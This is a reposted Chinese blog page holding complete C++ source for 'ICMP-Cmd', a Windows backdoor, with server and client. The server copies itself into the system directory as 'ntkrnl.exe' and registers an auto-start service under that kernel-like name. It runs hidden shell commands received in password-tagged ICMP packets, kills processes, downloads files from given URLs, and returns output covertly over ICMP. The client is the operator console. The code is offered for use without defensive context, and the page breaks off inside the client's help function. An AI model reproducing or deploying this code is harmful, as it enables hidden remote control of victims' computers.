IcmpBackDoor

Posted alkri

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了IcmpBackDoor相关的知识,希望对你有一定的参考价值。

服务端(Server.cpp):

技术分享图片
  1 #include <winsock2.h>
  2 #include <stdio.h>
  3 #include <urlmon.h> 
  4 #include <tlhelp32.h>
  5 #pragma comment(lib, "Urlmon.lib")
  6 #pragma comment(lib, "ws2_32.lib")
  7  
  8 #define ICMP_PASSWORD 1234                                             
  9 #define STATUS_FAILED 0xFFFF
 10 #define MAX_PACKET 6500
 11 #define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
 12  
 13 /* The IP header */
 14 typedef struct iphdr {
 15     unsigned int h_len:4; //4位首部长度
 16     unsigned int version:4; //IP版本号,4表示IPV4
 17     unsigned char tos; //8位服务类型TOS
 18     unsigned short total_len; //16位总长度(字节)
 19     unsigned short ident; //16位标识
 20     unsigned short frag_and_flags; //3位标志位
 21     unsigned char ttl; //8位生存时间 TTL
 22     unsigned char proto; //8位协议 (TCP, UDP 或其他)
 23     unsigned short checksum; //16位IP首部校验和
 24     unsigned int sourceIP; //32位源IP地址
 25     unsigned int destIP; //32位目的IP地址
 26 }IpHeader;
 27  
 28 //定义ICMP首部
 29 typedef struct _ihdr 
 30 {
 31     BYTE i_type; //8位类型
 32     BYTE i_code; //8位代码
 33     USHORT i_cksum; //16位校验和 
 34     USHORT i_id; //识别号(一般用进程号作为识别号)
 35     USHORT i_seq; //报文序列号 
 36     ULONG timestamp; //时间戳
 37 }IcmpHeader;
 38 char arg[256];
 39 char buffer[2048] = {0};//管道输出的数据
 40 void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
 41 void fill_icmp_data(char * icmp_data);
 42 void pslist(void);
 43 BOOL killps(DWORD id);//杀进程函数
 44 void send(void);
 45 char *ICMP_DEST_IP;
 46 USHORT checksum(USHORT *buffer, int size);
 47  
 48 HANDLE                hMutex;
 49 SERVICE_STATUS        ServiceStatus;
 50 SERVICE_STATUS_HANDLE ServiceStatusHandle;
 51 void  WINAPI ICMP_CmdStart(DWORD,LPTSTR *);
 52 void  WINAPI CmdControl(DWORD);
 53 DWORD WINAPI CmdService(LPVOID);
 54 void  InstallCmdService(void);
 55 void  RemoveCmdService(void);
 56 void  usage(char *par);
 57 int main(int argc,char *argv[])
 58 {
 59     SERVICE_TABLE_ENTRY DispatchTable[]={{"ntkrnl",ICMP_CmdStart},{NULL,NULL}};
 60     if(argc==2)
 61     {
 62         if(!stricmp(argv[1],"-install"))
 63         {
 64             //usage(argv[0]);
 65             InstallCmdService();
 66             printf("InstallCmdService
");
 67         }
 68         else if(!stricmp(argv[1],"-remove"))
 69         {
 70             //usage(argv[0]);
 71             RemoveCmdService();
 72             printf("RemoveCmdService
");
 73         }
 74         else usage(argv[0]);
 75         return 0;
 76     }
 77     else usage(argv[0]);
 78  
 79  
 80     StartServiceCtrlDispatcher(DispatchTable);
 81     return 0;
 82 }
 83 void WINAPI ICMP_CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
 84 {
 85     HANDLE    hThread;
 86     ServiceStatus.dwServiceType             = SERVICE_WIN32;
 87     ServiceStatus.dwCurrentState            = SERVICE_START_PENDING;
 88     ServiceStatus.dwControlsAccepted        = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
 89     ServiceStatus.dwServiceSpecificExitCode = 0;
 90     ServiceStatus.dwWin32ExitCode           = 0;
 91     ServiceStatus.dwCheckPoint              = 0;
 92     ServiceStatus.dwWaitHint                = 0;
 93     ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
 94     if(ServiceStatusHandle==0)
 95     {
 96         OutputDebugString("RegisterServiceCtrlHandler Error !
");
 97         return ;
 98     }
 99     ServiceStatus.dwCurrentState = SERVICE_RUNNING;
100     ServiceStatus.dwCheckPoint   = 0;
101     ServiceStatus.dwWaitHint     = 0;
102  
103     if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
104     {
105         OutputDebugString("SetServiceStatus in CmdStart Error !
");
106         return ;
107     }
108     hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
109     if(hThread==NULL)
110     {
111         OutputDebugString("CreateThread in CmdStart Error !
");
112     }
113     return ;
114 }
115 void WINAPI CmdControl(DWORD dwCode)
116 {
117     switch(dwCode)
118     {
119     case SERVICE_CONTROL_PAUSE:
120         ServiceStatus.dwCurrentState = SERVICE_PAUSED;
121         break;
122     case SERVICE_CONTROL_CONTINUE:
123         ServiceStatus.dwCurrentState = SERVICE_RUNNING;
124         break;
125     case SERVICE_CONTROL_STOP:      
126         WaitForSingleObject(hMutex,INFINITE);
127         ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
128         ServiceStatus.dwWin32ExitCode = 0;
129         ServiceStatus.dwCheckPoint    = 0;
130         ServiceStatus.dwWaitHint      = 0;
131         if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
132         {
133             OutputDebugString("SetServiceStatus in CmdControl in Switch Error !
");
134         }
135         ReleaseMutex(hMutex);
136         CloseHandle(hMutex);
137         return ;
138     case SERVICE_CONTROL_INTERROGATE:
139         break;
140     default:
141         break;
142     }
143     if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
144     {
145         OutputDebugString("SetServiceStatus in CmdControl out Switch Error !
");
146     }
147     return ;
148 }
149 DWORD WINAPI CmdService(LPVOID lpParam)//这里是服务的主函数,把你的代码写在这里就可以成为服务
150 {   
151     char *icmp_data;
152     int bread,datasize,retval;
153     SOCKET sockRaw = (SOCKET)NULL;
154     WSADATA wsaData;
155     struct sockaddr_in dest,from;
156     int fromlen = sizeof(from);
157     int timeout = 2000;
158     char *recvbuf;
159  
160     if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0)
161     {
162         printf("WSAStartup failed: %s
",retval);
163         ExitProcess(STATUS_FAILED);
164     }
165     sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);
166     if (sockRaw == INVALID_SOCKET)
167     {
168         printf("WSASocket() failed: %s
",WSAGetLastError());
169         ExitProcess(STATUS_FAILED);
170     }
171     __try{
172         bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
173         if(bread == SOCKET_ERROR) __leave;
174  
175         memset(&dest,0,sizeof(dest));
176         dest.sin_family = AF_INET;
177         datasize=0;
178         datasize += sizeof(IcmpHeader); 
179         icmp_data =(char*)xmalloc(MAX_PACKET);
180         recvbuf = (char*)xmalloc(MAX_PACKET);
181         if (!icmp_data) {
182             //fprintf(stderr,"HeapAlloc failed %d
",GetLastError());
183             __leave;
184         }
185         memset(icmp_data,0,MAX_PACKET);
186         for(;;) {
187             int bwrote;
188             bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
189             bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);
190             if (bread == SOCKET_ERROR)
191             {
192                 if (WSAGetLastError() == WSAETIMEDOUT)continue;
193                 __leave;
194             }
195             decode_resp(recvbuf,bread,&from);
196             Sleep(200);
197             memset(recvbuf,0,sizeof(recvbuf));
198         }
199     }
200     __finally {
201         if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
202         WSACleanup();
203     }
204     return 0;
205 }
206  
207  
208 void InstallCmdService(void)
209 {
210     SC_HANDLE        schSCManager;
211     SC_HANDLE        schService;
212     char             lpCurrentPath[MAX_PATH];
213     char             lpImagePath[MAX_PATH];
214     char             *lpHostName;
215     WIN32_FIND_DATA  FileData;
216     HANDLE           hSearch;
217     DWORD            dwErrorCode;
218     SERVICE_STATUS   InstallServiceStatus;
219  
220     GetSystemDirectory(lpImagePath,MAX_PATH);
221     strcat(lpImagePath,"\ntkrnl.exe");
222     lpHostName=NULL;
223  
224     printf("Transmitting File ... ");
225     hSearch=FindFirstFile(lpImagePath,&FileData);
226     if(hSearch==INVALID_HANDLE_VALUE)
227     {
228         GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
229         if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) 
230         {
231             dwErrorCode=GetLastError();
232             if(dwErrorCode==5)
233             {
234                 printf("Failure ... Access is Denied !
");         
235             }
236             else
237             {
238                 printf("Failure !
");
239             }
240             return ;
241         }
242         else
243         {
244             printf("Success !
");
245         }
246     }
247     else
248     {
249         printf("already Exists !
");
250         FindClose(hSearch);
251     }
252     schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
253     if(schSCManager==NULL)
254     {
255         printf("Open Service Control Manager Database Failure !
");
256         return ;
257     }
258     printf("Creating Service .... ");
259     schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
260         SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
261         SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); 
262     if(schService==NULL)
263     {
264         dwErrorCode=GetLastError();
265         if(dwErrorCode!=ERROR_SERVICE_EXISTS)
266         {
267             printf("Failure !
");
268             CloseServiceHandle(schSCManager);
269             return ;
270         }
271         else
272         {
273             printf("already Exists !
");
274             schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
275             if(schService==NULL)
276             {
277                 printf("Opening Service .... Failure !
");
278                 CloseServiceHandle(schSCManager);
279                 return ;
280             }
281         }
282     }
283     else
284     {
285         printf("Success !
");
286     }
287     printf("Starting Service .... ");
288     if(StartService(schService,0,NULL)==0)                         
289     {
290         dwErrorCode=GetLastError();
291         if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
292         {
293             printf("already Running !
");
294             CloseServiceHandle(schSCManager);  
295             CloseServiceHandle(schService);
296             return ;
297         }
298     }
299     else
300     {
301         printf("Pending ... ");
302     }
303     while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)           
304     {
305         if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
306         {
307             Sleep(100);
308         }
309         else
310         {
311             break;
312         }
313     }
314     if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
315     {
316         printf("Failure !
");                       
317     }
318     else
319     {
320         printf("Success !
");
321     }
322     CloseServiceHandle(schSCManager);
323     CloseServiceHandle(schService);
324     return ;
325 }
326 void RemoveCmdService(void) 
327 {
328     SC_HANDLE        schSCManager;
329     SC_HANDLE        schService;
330     char             lpImagePath[MAX_PATH];
331     char             *lpHostName;
332     WIN32_FIND_DATA  FileData;
333     SERVICE_STATUS   RemoveServiceStatus;
334     HANDLE           hSearch;
335     DWORD            dwErrorCode;
336  
337     GetSystemDirectory(lpImagePath,MAX_PATH);
338     strcat(lpImagePath,"\ntkrnl.exe");
339     lpHostName=NULL;
340  
341     schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
342     if(schSCManager==NULL)
343     {
344         printf("Opening SCM ......... ");
345         dwErrorCode=GetLastError();
346         if(dwErrorCode!=5)
347         {
348             printf("Failure !
"); 
349         }
350         else
351         {
352             printf("Failuer ... Access is Denied !
");
353         }
354         return ;
355     }
356     schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
357     if(schService==NULL) 
358     {
359         printf("Opening Service ..... ");
360         dwErrorCode=GetLastError();
361         if(dwErrorCode==1060)
362         {
363             printf("no Exists !
");
364         }
365         else
366         {
367             printf("Failure !
");
368         }
369         CloseServiceHandle(schSCManager);
370     }
371     else
372     {
373         printf("Stopping Service .... ");
374         if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
375         {
376             if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
377             {
378                 printf("already Stopped !
"); 
379             }
380             else
381             {
382                 printf("Pending ... ");
383                 if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
384                 {
385                     while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)         
386                     {
387                         Sleep(10);
388                         QueryServiceStatus(schService,&RemoveServiceStatus);
389                     }
390                     if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
391                     {
392                         printf("Success !
");
393                     }
394                     else
395                     {
396                         printf("Failure !
");
397                     }
398                 }
399                 else
400                 {
401                     printf("Failure !
");          
402                 }
403             }
404         }
405         else
406         {
407             printf("Query Failure !
");
408         }
409         printf("Removing Service .... ");     
410         if(DeleteService(schService)==0)
411         {
412             printf("Failure !
");   
413         }
414         else
415         {
416             printf("Success !
");
417         }
418     }
419     CloseServiceHandle(schSCManager);        
420     CloseServiceHandle(schService);
421     printf("Removing File ....... ");
422     Sleep(1500);
423     hSearch=FindFirstFile(lpImagePath,&FileData);
424     if(hSearch==INVALID_HANDLE_VALUE)
425     {
426         printf("no Exists !
");
427     }
428     else
429     {
430         if(DeleteFile(lpImagePath)==0)
431         {
432             printf("Failure !
");               
433         }
434         else
435         {
436             printf("Success !
");
437         }
438         FindClose(hSearch);
439     }
440     return ;
441 }
442 void decode_resp(char *buf, int bytes,struct sockaddr_in *from) 
443 {
444  
445     IpHeader *iphdr;
446     IcmpHeader *icmphdr;
447     unsigned short iphdrlen;
448     iphdr = (IpHeader *)buf;
449     iphdrlen = iphdr->h_len * 4 ; 
450     icmphdr = (IcmpHeader*)(buf + iphdrlen);
451     if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段
452     {
453         ICMP_DEST_IP=inet_ntoa(from->sin_addr);//取得ICMP包的源地址
454         memcpy(arg,buf+iphdrlen+12,256);
455         if (!memcmp(arg,"pskill",6))
456         {
457             killps(atoi(strstr(arg," ")));
458             memcpy(buffer,"Process is Killed!",sizeof("Process is Killed!"));
459             send();
460         }
461  
462         else if (!memcmp(arg,"pslist",6)){pslist();send();}
463         else if (!strcmp(arg,"remove
"))
464         {
465             RemoveCmdService();
466             memcpy(buffer,"Service Removed!",sizeof("Service Removed!"));
467             send();
468             return;
469         }
470         ////////////************    http下载   *************
471         else if (!memcmp(arg,"http://",7))   
472         {
473             if(char *FileName=strstr(arg,"-"))
474             {
475  
476                 char url[200];//保存网址的数组
477                 memset(url,0,200);
478                 memcpy(url,arg,int(FileName-arg-1));
479                 char fname[MAX_PATH];
480                 GetSystemDirectory(fname,MAX_PATH);
481                 FileName++;
482                 strcat(fname,"//");
483                 strcat(fname,FileName);
484                 *strstr(fname,"
")=NULL;
485                 HRESULT hRet=URLDownloadToFile(0,url,fname,0,0);
486                 memset(buffer,0,sizeof(buffer));
487                 if(hRet==S_OK) memcpy(buffer,"Download OK!
",sizeof("Download OK
"));
488                 else 
489                     memcpy(buffer,"Download Failure!
",sizeof("Download Failure!
"));
490                 send();
491                 return;
492             }
493         }
494         //*******************************************
495         else{
496             SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
497             HANDLE hRead,hWrite;
498             sa.nLength = sizeof(SECURITY_ATTRIBUTES);
499             sa.lpSecurityDescriptor = NULL;
500             sa.bInheritHandle = TRUE;
501             if (!CreatePipe(&hRead,&hWrite,&sa,0)) 
502             {
503                 printf("Error On CreatePipe()");
504                 return;
505             }
506  
507             STARTUPINFO si;
508             PROCESS_INFORMATION pi; 
509             si.cb = sizeof(STARTUPINFO);
510             GetStartupInfo(&si); 
511             si.hStdError = hWrite;
512             si.hStdOutput = hWrite;
513             si.wShowWindow = SW_HIDE;
514             si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
515             char cmdline[270];
516             GetSystemDirectory(cmdline,MAX_PATH+1);
517             strcat(cmdline,"//cmd.exe /c");
518             strcat(cmdline,arg);
519             if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
520             {
521                 printf("Error on CreateProcess()");
522                 return;
523             }
524             CloseHandle(hWrite);
525  
526  
527             DWORD bytesRead;
528             for(;;){
529                 if (!ReadFile(hRead,buffer,2048,&bytesRead,NULL))break;
530                 Sleep(200);
531             }
532             //printf("%s",buffer);
533             /////////////////////////////////////////////
534             //发送输出数据
535             send();
536         }
537         ////////////////////////////////////////////////
538  
539     }
540     //else printf("Other ICMP Packets!
");
541     //printf(endl; 
542 }
543  
544  
545 USHORT checksum(USHORT *buffer, int size) 
546 {
547     unsigned long cksum=0;
548     while(size >1) 
549     {
550         cksum+=*buffer++;
551         size -=sizeof(USHORT);
552     }
553     if(size ) {
554         cksum += *(UCHAR*)buffer;
555     }
556     cksum = (cksum >> 16) + (cksum & 0xffff);
557     cksum += (cksum >>16);
558     return (USHORT)(~cksum);
559 }
560  
561 void fill_icmp_data(char * icmp_data)
562 {
563     IcmpHeader *icmp_hdr;
564     char *datapart;
565     icmp_hdr = (IcmpHeader*)icmp_data;
566     icmp_hdr->i_type = 0;
567     icmp_hdr->i_code = 0;
568     icmp_hdr->i_id = (USHORT) GetCurrentProcessId();
569     icmp_hdr->i_cksum = 0;
570     icmp_hdr->i_seq =4321;
571     icmp_hdr->timestamp = GetTickCount(); //设置时间戳
572     datapart = icmp_data + sizeof(IcmpHeader);
573     memcpy(datapart,buffer,strlen(buffer));
574     //for(int i=0;i<sizeof(buffer);i++) datapart[i]=buffer[i]; 
575 }
576 void  usage(char *par)
577 {
578     printf("		=====Welcome to www.hackerxfiles.net======
");
579     printf("
");
580     printf("		---[ ICMP-Cmd v1.0 beta, by gxisone   ]---
");
581     printf("		---[ E-mail: [email protected]      ]---
");
582     printf("		---[                        2003/8/15 ]---
");
583     printf("
");
584     printf("		Usage: %s -install (to install service)
",par);
585     printf("		       %s -remove (to remove service)
",par);
586     printf("
");
587     return ;
588  
589 }
590 void send(void)
591 {
592     WSADATA wsaData;
593     SOCKET sockRaw = (SOCKET)NULL;
594     struct sockaddr_in dest;
595     int bread,datasize,retval,bwrote;
596     int timeout = 1000;
597     char *icmp_data;
598     if((retval=WSAStartup(MAKEWORD(2,1),&wsaData)) != 0) ExitProcess(STATUS_FAILED);
599     if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))
600         ==INVALID_SOCKET) ExitProcess(STATUS_FAILED);
601     __try
602     {
603         if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR) __leave;
604         //设置发送超时
605         memset(&dest,0,sizeof(dest));
606         dest.sin_family = AF_INET;
607         dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);
608         datasize=strlen(buffer);
609         datasize+=sizeof(IcmpHeader); 
610         icmp_data=(char*)xmalloc(MAX_PACKET);
611         if(!icmp_data) __leave;
612         memset(icmp_data,0,MAX_PACKET);
613         fill_icmp_data(icmp_data); //填充ICMP报文
614         ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); //计算校验和
615         bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); //发送报文
616         if (bwrote == SOCKET_ERROR)
617         {
618             //if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out
");
619             //printf("sendto failed:"<<WSAGetLastError()<<endl;
620             __leave;
621         }
622         //printf("Send Packet to %s Success!
"<<ICMP_DEST_IP<<endl;
623     }
624  
625     __finally 
626     {
627         if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
628         WSACleanup();
629     }
630     memset(buffer,0,sizeof(buffer));
631     Sleep(200);
632 }
633 void pslist(void)
634 {
635     HANDLE hProcessSnap = NULL;
636     PROCESSENTRY32 pe32= {0};
637     hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
638     if (hProcessSnap == (HANDLE)-1)
639     {
640         printf("
CreateToolhelp32Snapshot() failed:%d",GetLastError());
641         return ;
642     }
643     pe32.dwSize = sizeof(PROCESSENTRY32);
644     printf("
ProcessName     ProcessID");
645     if (Process32First(hProcessSnap, &pe32))
646     {
647         char a[5];
648         do
649         {
650             strcat(buffer,pe32.szExeFile);
651             strcat(buffer,"		");
652             itoa(pe32.th32ProcessID,a,10);
653             strcat(buffer,a);
654             strcat(buffer,"
");
655             //printf("
%-20s%d",pe32.szExeFile,pe32.th32ProcessID);
656         }
657         while (Process32Next(hProcessSnap, &pe32));
658     }
659     else
660     {
661         printf("
Process32Firstt() failed:%d",GetLastError());
662     }
663     CloseHandle (hProcessSnap);
664     return;
665 }
666 BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)//提示权限
667 {
668     TOKEN_PRIVILEGES tp;
669     LUID luid;
670     if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
671     {
672         printf("
LookupPrivilegeValue error:%d", GetLastError() ); 
673         return FALSE; 
674     }
675     tp.PrivilegeCount = 1;
676     tp.Privileges[0].Luid = luid;
677     if (bEnablePrivilege)
678         tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
679     else
680         tp.Privileges[0].Attributes = 0;
681     // Enable the privilege or disable all privileges.
682     AdjustTokenPrivileges(
683         hToken, 
684         FALSE, 
685         &tp, 
686         sizeof(TOKEN_PRIVILEGES), 
687         (PTOKEN_PRIVILEGES) NULL, 
688         (PDWORD) NULL); 
689     // Call GetLastError to determine whether the function succeeded.
690     if (GetLastError() != ERROR_SUCCESS) 
691     { 
692         printf("AdjustTokenPrivileges failed: %u
", GetLastError() ); 
693         return FALSE; 
694     } 
695     return TRUE;
696 }
697 ////////////////////////////////////////////////////////////////////////////
698 BOOL killps(DWORD id)//杀进程函数
699 {
700     HANDLE hProcess=NULL,hProcessToken=NULL;
701     BOOL IsKilled=FALSE,bRet=FALSE;
702     __try
703     {
704         if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hProcessToken))
705         {
706             printf("
Open Current Process Token failed:%d",GetLastError());
707             __leave;
708         }
709         //printf("
Open Current Process Token ok!");
710         if(!SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE))
711         {
712             __leave;
713         }
714         printf("
SetPrivilege ok!");
715         if((hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id))==NULL)
716         {
717             printf("
Open Process %d failed:%d",id,GetLastError());
718             __leave;
719         }
720         //printf("
Open Process %d ok!",id);
721         if(!TerminateProcess(hProcess,1))
722         {
723             printf("
TerminateProcess failed:%d",GetLastError());
724             __leave;
725         }
726         IsKilled=TRUE;
727     }
728     __finally
729     {
730         if(hProcessToken!=NULL) CloseHandle(hProcessToken);
731         if(hProcess!=NULL) CloseHandle(hProcess);
732     }
733     return(IsKilled);
734 }
View Code

客户端(Client.cpp):

技术分享图片
  1 #include <winsock2.h>
  2 #include <stdio.h>
  3 #include <stdlib.h>
  4 #pragma comment(lib,"ws2_32.lib")
  5 char SendMsg[256];
  6 /* The IP header */
  7 typedef struct iphdr {
  8     unsigned int h_len:4; //4位首部长度
  9     unsigned int version:4; //IP版本号,4表示IPV4
 10     unsigned char tos; //8位服务类型TOS
 11     unsigned short total_len; //16位总长度(字节)
 12     unsigned short ident; //16位标识
 13     unsigned short frag_and_flags; //3位标志位
 14     unsigned char ttl; //8位生存时间 TTL
 15     unsigned char proto; //8位协议 (TCP, UDP 或其他)
 16     unsigned short checksum; //16位IP首部校验和
 17     unsigned int sourceIP; //32位源IP地址
 18     unsigned int destIP; //32位目的IP地址
 19 }IpHeader;
 20  
 21  
 22 typedef struct _ihdr
 23 {
 24     BYTE i_type;//8位类型
 25     BYTE i_code; //8位代码
 26     USHORT i_cksum;//16位校验和
 27     USHORT i_id;//识别号(一般用进程号作为识别号)
 28     USHORT i_seq;//报文序列号
 29     ULONG timestamp;//时间截
 30 } IcmpHeader;
 31 #define STATUS_FAILED 0xFFFF
 32  
 33 #define MAX_PACKET 2000
 34 char arg[1450];
 35 #define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (s))
 36  
 37 void fill_icmp_data(char *, int);
 38 USHORT checksum(USHORT *, int);
 39 void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
 40 void help(void);
 41 void usage(char * prog);
 42 int main(int argc, char *argv[])
 43 {
 44     char *ICMP_DEST_IP; //目标主机的IP
 45     char *recvbuf;
 46     if(argc!=2)
 47     {
 48         usage(argv[0]);
 49         return 0;
 50     }
 51     ICMP_DEST_IP=argv[1];//取得目标主机IP
 52     WSADATA wsaData;
 53     SOCKET sockRaw;
 54     struct sockaddr_in dest,from;
 55     int datasize;
 56     int fromlen=sizeof(from);
 57     char *icmp_data;
 58  
 59  
 60     if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
 61     {
 62         fprintf(stderr, "WSAStartup failed: %d
", GetLastError());
 63         ExitProcess(STATUS_FAILED);
 64     }
 65     sockRaw=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
 66     int timeout=1000;
 67     setsockopt(sockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) &timeout, sizeof(timeout));
 68     timeout=4000;
 69     setsockopt(sockRaw, SOL_SOCKET, SO_RCVTIMEO, (char *) &timeout, sizeof(timeout));
 70     memset(&dest,0,sizeof(dest));
 71     dest.sin_addr.s_addr=inet_addr(ICMP_DEST_IP);
 72     dest.sin_family=AF_INET;
 73     usage(argv[0]);
 74     __try{
 75         for(;;){
 76             printf("ICMP-CMD>");
 77             fgets(SendMsg,1024,stdin);//取得命令行,保存在SendMsg数组中
 78             if(!strcmp(SendMsg,"Q
")||!strcmp(SendMsg,"q
"))ExitProcess(0);
 79             if(!strcmp(SendMsg,"
"))continue;
 80             if(!strcmp(SendMsg,"H
")||!strcmp(SendMsg,"h
")){help();continue;}
 81             if(!memcmp(SendMsg,"http://",7))
 82                 if(!strstr(SendMsg,"-")){
 83                     printf("
FileName Error. Use ");
 84                     continue;
 85                 }
 86                 datasize=strlen(SendMsg);
 87                 datasize+=sizeof(IcmpHeader);
 88                 printf("ICMP packet size is %d",datasize);
 89                 icmp_data= (char*)xmalloc(MAX_PACKET);
 90                 recvbuf= (char *)xmalloc(MAX_PACKET);
 91                 memset(icmp_data,0, MAX_PACKET);
 92                 fill_icmp_data(icmp_data, datasize);
 93                 ((IcmpHeader *)icmp_data)->i_cksum=0;
 94                 ((IcmpHeader *)icmp_data)->i_cksum=checksum((USHORT *)icmp_data, datasize);
 95                 int bwrote=sendto(sockRaw, icmp_data, datasize, 0, (struct sockaddr *) &dest, sizeof(dest));
 96                 if (bwrote == SOCKET_ERROR)
 97                 {
 98                     if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out
");
 99                     fprintf(stderr,"sendto failed: %d
",WSAGetLastError());
100                 }
101                 if (bwrote<datasize ) {//没有把所有的数据发送出去,也出错了。
102                     return 0;
103                 }
104                 printf("
Send Packet to %s Success!
",argv[1]);
105                 DWORD start = GetTickCount();
106                 for(;;){
107                     if((GetTickCount() - start) >= 1000) break;
108                     memset(recvbuf,0,MAX_PACKET);
109                     int bread=recvfrom(sockRaw, recvbuf, MAX_PACKET, 0, (struct sockaddr *) &from, &fromlen);
110                     if(bread == SOCKET_ERROR)
111                     {
112                         if(WSAGetLastError() == WSAETIMEDOUT)
113                         {
114                             printf("timed out
");
115                             break;
116                         }
117                         fprintf(stderr, "recvfrom failed: %d
", WSAGetLastError());
118                         break;
119                     }
120                     decode_resp(recvbuf, bread, &from);
121                 }
122         }//end for
123     }//end try
124  
125  
126     __finally
127     {
128         if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
129         WSACleanup();
130     }
131     return 0;
132 }
133  
134 USHORT checksum(USHORT *buffer, int size)
135 {
136     unsigned long cksum=0;
137     while(size > 1)
138     {
139         cksum+=*buffer++;
140         size-=sizeof(USHORT);
141     }
142     if(size)
143     {
144         cksum+=*(UCHAR *)buffer;
145     }
146     cksum=(cksum >> 16) + (cksum & 0xffff);
147     cksum+=(cksum >> 16);
148     return(USHORT) (~cksum);
149 }
150 void fill_icmp_data(char *icmp_data, int datasize)
151 {
152     IcmpHeader *icmp_hdr;
153     char *datapart;
154     icmp_hdr= (IcmpHeader *)icmp_data;
155     icmp_hdr->i_type=0;
156     icmp_hdr->i_code=0;
157     icmp_hdr->i_id=(USHORT)GetCurrentProcessId();
158     icmp_hdr->timestamp =GetTickCount();
159     icmp_hdr->i_seq=1234;
160     datapart=icmp_data + sizeof(IcmpHeader);
161     memcpy(datapart,SendMsg,sizeof(SendMsg));
162 }
163 void usage(char * prog)
164 {
165     printf("		=====Welcome to www.hackerxfiles.net======
");
166     printf("
");
167     printf("		---[ ICMP-Cmd v1.0 beta, by gxisone   ]---
");
168     printf("		---[ E-mail:    [email protected]   ]---
");
169     printf("		---[                      2003/8/15   ]---
");
170     printf("		usage: %s RemoteIP
",prog);
171     printf("		Ctrl+C or Q/q to Quite        H/h for help
");
172 }
173  
174  
175 void decode_resp(char *buf, int bytes,struct sockaddr_in *from) 
176 {
177     memset(arg,0,sizeof(arg));
178     IpHeader *iphdr;
179     IcmpHeader *icmphdr;
180     unsigned short iphdrlen;
181     iphdr = (IpHeader *)buf;
182     iphdrlen = iphdr->h_len * 4 ; 
183     icmphdr = (IcmpHeader*)(buf + iphdrlen);
184     if(icmphdr->i_seq==4321)//密码正确则输出数据段
185     {
186         printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
187         printf(" IcmpType %d",icmphdr->i_type);
188         printf(" IcmpCode %d",icmphdr->i_code);
189         printf("
");
190         memcpy(arg,buf+iphdrlen+12,1450);
191         printf("%s",arg);
192     }
193     else 
194         printf("Other ICMP Packets!
");
195 }
196 void help(void)
197 {
198     printf("
");
